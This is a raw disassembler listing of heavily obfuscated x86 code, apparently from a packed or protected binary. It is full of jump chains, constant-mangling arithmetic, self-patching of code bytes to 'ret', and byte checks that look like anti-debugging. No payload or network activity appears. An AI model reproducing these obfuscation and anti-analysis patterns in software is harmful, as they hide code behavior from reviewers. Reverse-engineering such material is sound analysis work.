; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439E87

loc_4593AE:				; CODE XREF: sub_439E87+7358j
		mov	edi, eax

loc_4593B0:				; CODE XREF: sub_439E87:loc_44D1F5j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_454649
		jmp	loc_441AF9
; END OF FUNCTION CHUNK	FOR sub_439E87
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4559CE

loc_4593C1:				; CODE XREF: sub_4559CE+Fj
		pop	esi
		and	esi, 0F6493023h
		rol	esi, 10h
		jb	loc_44A5C4
		xchg	ebp, [ebx]
		sub	edi, ecx
		jmp	loc_443C66
; END OF FUNCTION CHUNK	FOR sub_4559CE
; ---------------------------------------------------------------------------

loc_4593DA:				; CODE XREF: dviuq5id:0043BA48j
		jnb	loc_445385

; =============== S U B	R O U T	I N E =======================================



sub_4593E0	proc near		; CODE XREF: sub_450519+7BCp

arg_0		= dword	ptr  4

		xchg	ebx, [esp+0]
		pop	ebx
		add	edx, 71472700h
		xchg	edx, [esp-4+arg_0]
		jmp	sub_45327C
sub_4593E0	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_217. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443AC1

loc_4593F3:				; CODE XREF: sub_443AC1-2ECBj
		jmp	loc_4502EE
; END OF FUNCTION CHUNK	FOR sub_443AC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B301

loc_4593F8:				; CODE XREF: sub_44B301+8j
		jz	loc_44A9F6
		jmp	loc_44E2AA
; END OF FUNCTION CHUNK	FOR sub_44B301
; ---------------------------------------------------------------------------

loc_459403:				; DATA XREF: sub_44B2EA-EC80o
		cmp	byte ptr [eax],	0F1h
		jnz	loc_44673E
		jmp	loc_459365
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44846C

loc_459411:				; CODE XREF: sub_44846C+4j
		ror	eax, 8
		push	ecx
		push	98246154h
		pop	ecx
		xor	ecx, 0DF317201h
		test	ecx, 80000h
		jmp	loc_4506F7
; END OF FUNCTION CHUNK	FOR sub_44846C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_45942C:				; CODE XREF: sub_4525D0:loc_457639j
		lea	eax, sub_453F0A
		mov	byte ptr [eax],	0C3h
		jmp	sub_453F0A
; END OF FUNCTION CHUNK	FOR sub_4525D0

; =============== S U B	R O U T	I N E =======================================



sub_45943A	proc near		; CODE XREF: sub_41A40D+1Ep
					; sub_45943A+5j
					; DATA XREF: ...
		call	sub_45944F
		jmp	ds:off_41D044
sub_45943A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4492F0

loc_459445:				; CODE XREF: sub_4492F0+1B50j
		jmp	loc_43C192
; END OF FUNCTION CHUNK	FOR sub_4492F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_45944A:				; CODE XREF: sub_441DDA-2BC6j
		jmp	loc_4391D1
; END OF FUNCTION CHUNK	FOR sub_441DDA

; =============== S U B	R O U T	I N E =======================================



sub_45944F	proc near		; CODE XREF: dviuq5id:loc_43B39Bj
					; sub_44F6A9+13j ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043A542 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00446077 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447C23 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00449256 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0044DF6A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004506A8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00451170 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00457793 SIZE 00000005 BYTES

		jnb	loc_447C23
		jmp	loc_4506A8
sub_45944F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_45945A	proc near		; DATA XREF: dviuq5id:0044281Co

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0044837A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0045560E SIZE 00000007 BYTES

		adc	ecx, edx
		cmp	ecx, eax

loc_45945E:				; CODE XREF: dviuq5id:loc_4575D3j
		pop	edx
		pop	ebx
		xchg	ebp, [esp+0]
		jmp	loc_44837A
sub_45945A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	ds:dword_41D148
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_193. PRESS KEYPAD	"+" TO EXPAND]
		db 88h
; ---------------------------------------------------------------------------
		retf	0FE54h
; ---------------------------------------------------------------------------
		inc	dword ptr [edi-2A74DBD4h]

loc_459479:				; CODE XREF: dviuq5id:loc_458AEBj
		pop	ebp
		mov	eax, [esp]
		push	edi
		mov	edi, edx
		jmp	loc_43B49C
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, eax
		xchg	ecx, [esp]
		jmp	loc_4549B6

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_459490	proc near		; CODE XREF: sub_4469F9j

arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 0043D139 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E3F7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00441534 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00442DB5 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00443DD1 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00444B63 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004465C8 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00447F1F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00449A3C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00449B4B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D4D4 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044F31F SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0044FB57 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004549B6 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 004556AB SIZE 00000003 BYTES

		push	ebp
		mov	ebp, esp
		push	edi
		push	ecx
		jmp	loc_44F31F
sub_459490	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44FCBC

loc_45949A:				; CODE XREF: sub_44FCBC-81E2j
		or	ecx, 231AFC90h

loc_4594A0:				; CODE XREF: dviuq5id:loc_43E820j
		rol	ecx, 0Dh
		or	ecx, ds:4000F0h
		and	ecx, 74D8DE7Ah
		cmp	ecx, 20A79Bh
		jmp	loc_44F70A
; END OF FUNCTION CHUNK	FOR sub_44FCBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F1D6

loc_4594BA:				; CODE XREF: sub_43F1D6-472Fj
		xor	eax, 0B68EF872h
		js	loc_454593
		push	48DC62F3h

loc_4594CB:				; CODE XREF: dviuq5id:loc_43F97Ej
		or	eax, 3CDFFB23h
		jmp	loc_454590
; END OF FUNCTION CHUNK	FOR sub_43F1D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B02F

loc_4594D6:				; CODE XREF: sub_44B02F:loc_43CF95j
		js	loc_44B5D3
		add	esp, 8
		push	offset sub_4598CB
		jmp	locret_445556
; END OF FUNCTION CHUNK	FOR sub_44B02F
; ---------------------------------------------------------------------------

loc_4594E9:				; CODE XREF: dviuq5id:0044DBC0j
		or	esi, ebp

; =============== S U B	R O U T	I N E =======================================



sub_4594EB	proc near		; CODE XREF: dviuq5id:004516F9p

; FUNCTION CHUNK AT 00455649 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		test	al, al
		jz	loc_45287C
		jmp	loc_455649
sub_4594EB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		and	eax, ecx
		jmp	sub_4422AB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A15A

loc_459503:				; CODE XREF: sub_44A15A+7933j
		mov	eax, edi
		pop	edi
		add	eax, 0B29B6A87h
		and	eax, 75E5EB26h
		add	eax, 0AB8103DAh
		mov	eax, [eax]
		or	eax, eax
		jmp	loc_44438D
; END OF FUNCTION CHUNK	FOR sub_44A15A

; =============== S U B	R O U T	I N E =======================================



sub_459521	proc near		; DATA XREF: sub_456734-11B7Bo
		add	eax, 0B9AE18D3h
		rol	eax, 1Eh
sub_459521	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_45952A:				; CODE XREF: sub_43FA59+EE0Aj
		xor	eax, 0C1C73C3Ah
		sub	eax, 318990BEh
		jmp	loc_4546AB
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4557A6

loc_45953B:				; CODE XREF: sub_4557A6+6j
		rol	eax, 18h
		push	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_4557A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450519

loc_459540:				; CODE XREF: sub_450519-4B05j
		jmp	loc_44CCAB
; END OF FUNCTION CHUNK	FOR sub_450519

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_459545	proc near		; CODE XREF: dviuq5id:0043F39Ep

; FUNCTION CHUNK AT 0044AC1F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00452AAA SIZE 0000000C BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_44AC1F
sub_459545	endp

; ---------------------------------------------------------------------------

loc_45954D:				; DATA XREF: sub_44508C:loc_45065Do
		mov	byte ptr [eax],	0C3h
		jmp	loc_452A69
; ---------------------------------------------------------------------------
		call	nullsub_453
		jmp	ds:dword_41D19C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DAE

loc_459560:				; CODE XREF: sub_441DAE+148CCj
		jmp	loc_444D06
; END OF FUNCTION CHUNK	FOR sub_441DAE
; ---------------------------------------------------------------------------

loc_459565:				; CODE XREF: dviuq5id:0044DFD8j
		jmp	loc_4453AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448F97

loc_45956A:				; CODE XREF: sub_448F97+Aj
		jmp	sub_4463B7
; END OF FUNCTION CHUNK	FOR sub_448F97
; ---------------------------------------------------------------------------

loc_45956F:				; CODE XREF: dviuq5id:0043E83Bj
					; dviuq5id:0044650Aj
		jmp	locret_43A791
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43938B

loc_459574:				; CODE XREF: sub_43938B+8FD0j
		jmp	loc_44C21F
; END OF FUNCTION CHUNK	FOR sub_43938B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_453. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jnz	loc_458E82
		mov	eax, [esp]
		jmp	loc_43FA2D

; =============== S U B	R O U T	I N E =======================================



sub_459588	proc near		; CODE XREF: dviuq5id:0043CC87j
					; sub_4411B8-1CC7p

; FUNCTION CHUNK AT 0043A8DB SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0043AEFA SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0044993C SIZE 0000000C BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	8D73DE70h
		pop	edi
		rol	edi, 1Ah

loc_459595:				; CODE XREF: dviuq5id:004426F0j
		or	edi, 0B82FB7CAh
		jmp	loc_43A8DB
sub_459588	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4489E1

loc_4595A0:				; CODE XREF: sub_4489E1:loc_44A501j
		test	byte ptr [ebp-8], 40h
		jz	loc_43C23F
		push	ebp
		push	offset sub_44EA54
		jmp	loc_446520
; END OF FUNCTION CHUNK	FOR sub_4489E1

; =============== S U B	R O U T	I N E =======================================



sub_4595B5	proc near		; DATA XREF: sub_4432C4:loc_452B6Do

; FUNCTION CHUNK AT 0044FD31 SIZE 0000000A BYTES

		push	2A7E7017h
		pop	eax
		or	eax, 5A4EA855h
		xor	eax, ds:4000FBh
		jmp	loc_44FD31
sub_4595B5	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, eax
		xchg	ebp, [esp]

loc_4595D2:				; CODE XREF: dviuq5id:loc_44C342j
		ror	eax, 16h
		jmp	loc_440D83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D514

loc_4595DA:				; CODE XREF: sub_43D514+Aj
		xchg	ecx, [esp+0]
		push	esi
		push	4F27FA27h
		pop	esi
		and	esi, 6A7BE7CFh

loc_4595EA:				; CODE XREF: dviuq5id:loc_441384j
		xor	esi, ds:4000FBh
		add	esi, 1811F6D7h
		xchg	esi, [esp+4+var_4]
		jmp	loc_44E92D
; END OF FUNCTION CHUNK	FOR sub_43D514
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D814

loc_4595FE:				; CODE XREF: sub_44D814+7j
		push	edx
		call	sub_45A310
		push	0B4A1FE9Bh
		xchg	ecx, [esp+8+var_8]
		mov	eax, ecx
		jmp	loc_43F5BD
; END OF FUNCTION CHUNK	FOR sub_44D814
; ---------------------------------------------------------------------------
		not	edi
		jmp	sub_457BD2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445F35

loc_45961A:				; CODE XREF: sub_445F35:loc_45990Fj
		jz	loc_44ECB1
		jmp	loc_443BA4
; END OF FUNCTION CHUNK	FOR sub_445F35
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_257. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44250B

loc_459626:				; CODE XREF: sub_44250B+11EB5j
		jmp	loc_43B8BC
; END OF FUNCTION CHUNK	FOR sub_44250B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44FCBC

loc_45962B:				; CODE XREF: sub_44FCBC-10F2Cj
		jmp	loc_43DA24
; END OF FUNCTION CHUNK	FOR sub_44FCBC

; =============== S U B	R O U T	I N E =======================================



sub_459630	proc near		; CODE XREF: dviuq5id:loc_44F4CCp
					; dviuq5id:004518F1j

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00449B17 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004550C9 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0045A07B SIZE 00000008 BYTES

		xchg	esi, [esp+8+var_8]
		pop	esi
		jb	loc_45A07B
		call	sub_459B03
sub_459630	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_448800

loc_45963F:				; CODE XREF: sub_448800+D73Bj
		jmp	loc_444790
; END OF FUNCTION CHUNK	FOR sub_448800
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4547E2

loc_459644:				; CODE XREF: sub_4547E2-124A5j
		jmp	loc_45229F
; END OF FUNCTION CHUNK	FOR sub_4547E2
; ---------------------------------------------------------------------------

loc_459649:				; CODE XREF: dviuq5id:00447C77j
		jnz	loc_44C7C4

loc_45964F:				; CODE XREF: dviuq5id:0044E22Ej
		jmp	locret_44A8AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451EEC

loc_459654:				; CODE XREF: sub_451EEC-A290j
		jmp	loc_44CE4C
; END OF FUNCTION CHUNK	FOR sub_451EEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44108F

loc_459659:				; CODE XREF: sub_44108F+Dj
		jmp	nullsub_477
; END OF FUNCTION CHUNK	FOR sub_44108F
; ---------------------------------------------------------------------------
		xor	ecx, ebx
		and	edi, 0EC99FB43h
		jmp	loc_44C7C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456751

loc_45966B:				; CODE XREF: sub_456751+Dj
		pop	esi
		or	esi, 4D679860h
		and	esi, 45943913h

loc_459678:				; CODE XREF: dviuq5id:00442EAFj
		sub	esi, 4EA11EFEh
		jmp	loc_456E9A
; END OF FUNCTION CHUNK	FOR sub_456751
; ---------------------------------------------------------------------------

loc_459683:				; CODE XREF: dviuq5id:0044B3AFj
		sbb	ebp, ecx

loc_459685:				; CODE XREF: dviuq5id:loc_44B39Cj
		and	eax, 63581C43h
		add	eax, 0FCFC7A23h
		xchg	eax, [esp]
		jmp	sub_444F0F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44FCBC

loc_459699:				; CODE XREF: sub_44FCBC-223Aj
		add	ecx, 0EC51217Ah

loc_45969F:				; CODE XREF: sub_446CFB:loc_450148j
		call	sub_443F7F
; END OF FUNCTION CHUNK	FOR sub_44FCBC
; START	OF FUNCTION CHUNK FOR sub_43D181

loc_4596A4:				; CODE XREF: sub_43D181:loc_444333j
		push	offset sub_443F9D
		jmp	nullsub_380
; END OF FUNCTION CHUNK	FOR sub_43D181
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E421

loc_4596AE:				; CODE XREF: sub_43E421+93B1j
		xor	edi, ebx
		shr	edx, 19h

loc_4596B3:				; CODE XREF: sub_43E421:loc_43CCF6j
		mov	eax, 33F214AFh
		call	sub_453642
		add	eax, 33272401h
		push	ecx
		push	887554EDh
		pop	ecx
		jmp	loc_442A89
; END OF FUNCTION CHUNK	FOR sub_43E421
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449485

loc_4596CF:				; CODE XREF: sub_449485:loc_4477E0j
		jz	loc_43F494
		jmp	loc_43EA8B
; END OF FUNCTION CHUNK	FOR sub_449485
; ---------------------------------------------------------------------------

loc_4596DA:				; CODE XREF: dviuq5id:00449C06j
		or	ebp, 0CFDE43ABh
; START	OF FUNCTION CHUNK FOR sub_43FAE1

loc_4596E0:				; CODE XREF: sub_44D9D7:loc_449BF3j
					; sub_43FAE1+10CE3j
		rol	edi, 1

loc_4596E2:				; CODE XREF: dviuq5id:00440248j
		add	edi, 1EA441BAh
		xchg	edi, [esp-4+arg_0]
		jmp	loc_44A6B3
; END OF FUNCTION CHUNK	FOR sub_43FAE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45799F

loc_4596F0:				; CODE XREF: sub_45799F:loc_444665j
		jnz	loc_446208
		mov	eax, [ebp-1Ch]
		push	offset sub_452047
		jmp	loc_4479A1
; END OF FUNCTION CHUNK	FOR sub_45799F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_459703:				; CODE XREF: sub_4525D0-17A9Ej
					; sub_4525D0:loc_43EBECj
		lea	eax, [ebp-2AAh]
		cmp	dword ptr [eax], 47424454h
		jz	loc_452033
		jmp	loc_45772A
; END OF FUNCTION CHUNK	FOR sub_4525D0
; ---------------------------------------------------------------------------
		jb	loc_443D6D
		jmp	loc_44C995

; =============== S U B	R O U T	I N E =======================================



sub_459725	proc near		; CODE XREF: sub_44CFBC:loc_44242Dp
					; dviuq5id:0045903Ej

; FUNCTION CHUNK AT 0044DE1E SIZE 00000016 BYTES

		xchg	esi, [esp+0]
		pop	esi

loc_459729:				; CODE XREF: dviuq5id:0043E375j
		push	618D7189h
		xchg	ecx, [esp+0]
		mov	eax, ecx
		pop	ecx
		xor	eax, 0FEAF1592h
		jmp	loc_44DE1E
sub_459725	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45345A

loc_45973F:				; CODE XREF: sub_45345A-4A7Ej
		jle	loc_44FDCF
		test	edi, 0FE6FC283h
		jmp	loc_4440B1
; END OF FUNCTION CHUNK	FOR sub_45345A
; ---------------------------------------------------------------------------

loc_459750:				; CODE XREF: dviuq5id:0044A1B9j
		add	edx, 0C51A07A0h
		test	edx, 400h
		jmp	loc_4591C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455C2B

loc_459761:				; CODE XREF: sub_455C2B:loc_446D98j
		jge	loc_44CEB5

loc_459767:				; CODE XREF: sub_45288A-6AAAj
		jmp	sub_457EE7
; END OF FUNCTION CHUNK	FOR sub_455C2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4427AE

loc_45976C:				; CODE XREF: sub_44A765-9E8Ej
					; sub_4427AE+121C6j
		jmp	loc_44B4AA
; END OF FUNCTION CHUNK	FOR sub_4427AE
; ---------------------------------------------------------------------------
		sbb	ebp, esi
		shr	esi, 14h
		xor	ebx, 0E40C2B68h
		or	esi, 8C4DA6DCh
		jmp	loc_451273
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_258. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		test	al, al
		jz	loc_453523
		jmp	loc_44F91B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E10E

loc_459795:				; CODE XREF: sub_43E10E:loc_43C5C6j
		jnz	loc_4400DB
		jmp	loc_442583
; END OF FUNCTION CHUNK	FOR sub_43E10E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_4597A0:				; CODE XREF: sub_4525D0+76D3j
		cmp	ebp, ebx
		jmp	loc_453A12
; END OF FUNCTION CHUNK	FOR sub_4525D0
; ---------------------------------------------------------------------------

loc_4597A7:				; CODE XREF: dviuq5id:loc_44A649j
		jnz	loc_458346
; START	OF FUNCTION CHUNK FOR sub_44ABE0

loc_4597AD:				; CODE XREF: sub_44ABE0+4014j
		jmp	loc_444F8D
; END OF FUNCTION CHUNK	FOR sub_44ABE0
; ---------------------------------------------------------------------------
		test	ebx, esi
		jmp	loc_4405FC

; =============== S U B	R O U T	I N E =======================================



sub_4597B9	proc near		; CODE XREF: sub_444ADC:loc_43F88Bj
					; sub_444ADC-974j
		push	ebx
		push	offset sub_4560CA
		jmp	nullsub_522
sub_4597B9	endp

; ---------------------------------------------------------------------------
		push	79155235h
; START	OF FUNCTION CHUNK FOR sub_454094

loc_4597C9:				; CODE XREF: sub_454094:loc_442BC0j
		call	sub_441881
; END OF FUNCTION CHUNK	FOR sub_454094
; START	OF FUNCTION CHUNK FOR sub_44508C

loc_4597CE:				; CODE XREF: sub_44508C+1Aj
		jmp	loc_44FBA7
; END OF FUNCTION CHUNK	FOR sub_44508C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452A73

loc_4597D3:				; CODE XREF: sub_452A73+4208j
		mov	ecx, [ecx]
		xchg	ecx, [esp+0]
		push	edx
		push	0C3193175h
		push	offset sub_43F5DC
		jmp	nullsub_384
; END OF FUNCTION CHUNK	FOR sub_452A73

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4597E8	proc near		; CODE XREF: sub_44097E:loc_453202j
		retn
sub_4597E8	endp

; ---------------------------------------------------------------------------

loc_4597E9:				; CODE XREF: dviuq5id:004545E9j
		jmp	nullsub_474
; ---------------------------------------------------------------------------

loc_4597EE:				; CODE XREF: dviuq5id:00440B32j
		cdq

; =============== S U B	R O U T	I N E =======================================



sub_4597EF	proc near		; CODE XREF: sub_445A59+7F45p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004395DE SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0044282C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448402 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00450576 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0045192A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004524E3 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00454B59 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00458AA5 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00458F6A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0045A0D7 SIZE 0000000B BYTES

		xchg	ecx, [esp+0]

loc_4597F2:				; CODE XREF: dviuq5id:00458BFEj
		pop	ecx
		add	eax, ebp
		jmp	loc_458AA5
sub_4597EF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		and	esi, ebp
		pop	ecx
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_4597FD:				; CODE XREF: sub_4525D0:loc_454638j
		jmp	loc_43B6A8
; END OF FUNCTION CHUNK	FOR sub_4525D0
; ---------------------------------------------------------------------------

loc_459802:				; CODE XREF: dviuq5id:0043B3DFj
		sub	edx, esi

; =============== S U B	R O U T	I N E =======================================



sub_459804	proc near		; CODE XREF: sub_44460F:loc_446957p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00439D64 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0043D300 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043DA87 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043E97A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043FB30 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00440DE4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004437B9 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044521F SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00445361 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00446B08 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00448895 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00448E79 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044A867 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0044BA6C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044BD62 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CDDF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044CF38 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044E4B5 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044F04B SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00450EDD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00453F63 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0045425A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004544A4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00454A0F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004573E1 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00457D25 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045804E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004581D3 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 004587DD SIZE 0000000B BYTES

		xchg	edx, [esp+4+var_4]
		pop	edx
		inc	eax
		mov	[ebp-2Ch], eax
		mov	dword ptr [ebp-20h], 0FFFFFFFFh

loc_459813:				; CODE XREF: sub_43CBD5+4CDCj
		js	loc_44F05C
		jmp	loc_4573E1
sub_459804	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB11

loc_45981E:				; CODE XREF: sub_43EB11:loc_441D98j
		adc	edx, ebx
		jmp	sub_4530D9
; END OF FUNCTION CHUNK	FOR sub_43EB11

; =============== S U B	R O U T	I N E =======================================



sub_459825	proc near		; CODE XREF: sub_44AC6E:loc_452547p
					; dviuq5id:004553A9j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0044312D SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00457074 SIZE 00000025 BYTES

		xchg	esi, [esp+4+var_4]
		pop	esi

loc_459829:				; CODE XREF: sub_459804:loc_44E4B5j
		jnz	loc_44B522
		mov	ecx, [ebx+edx-4]
		or	ecx, ecx
		jz	loc_44312D
		mov	ebx, [ebx+ecx]
		call	sub_446A1C
		jmp	loc_44312D
sub_459825	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_459848	proc near		; DATA XREF: sub_44D2A8-D9A0o

; FUNCTION CHUNK AT 004399DE SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044577F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044A1FE SIZE 00000005 BYTES

		push	45608654h
		pop	esi
		sub	esi, 57FEBA66h
		xor	esi, 6B49C798h
		test	esi, 8
		jmp	loc_44A1FE
sub_459848	endp

; ---------------------------------------------------------------------------

loc_459865:				; CODE XREF: dviuq5id:0043B527j
		jnp	loc_458AFB
; START	OF FUNCTION CHUNK FOR sub_451A79

loc_45986B:				; CODE XREF: sub_451A79:loc_44627Dj
		add	edi, 82EB7B4Fh
		xor	edi, 2CF453A0h
		add	edi, 6E31329Fh
		xchg	edi, [esp+0]
		jmp	sub_449EB7
; END OF FUNCTION CHUNK	FOR sub_451A79
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F38E

loc_459885:				; CODE XREF: sub_44F38E:loc_452386j
		push	ecx
		mov	ecx, ebx

loc_459888:				; CODE XREF: sub_45002A+69EEj
		xchg	ecx, [esp+0]
		mov	ebx, eax
		xchg	ebx, [esp+0]
		jmp	loc_44244A
; END OF FUNCTION CHUNK	FOR sub_44F38E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D181

loc_459895:				; CODE XREF: sub_43D181:loc_4519F7j
		push	0A5384408h

loc_45989A:				; CODE XREF: dviuq5id:loc_4478F1j
		jmp	loc_455A50
; END OF FUNCTION CHUNK	FOR sub_43D181

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_45989F	proc near		; CODE XREF: sub_43C9A9:loc_4585E2j
		retn
sub_45989F	endp

; ---------------------------------------------------------------------------

loc_4598A0:				; CODE XREF: dviuq5id:0044AF4Fj
		test	eax, edi

loc_4598A2:				; CODE XREF: dviuq5id:loc_4432FEj
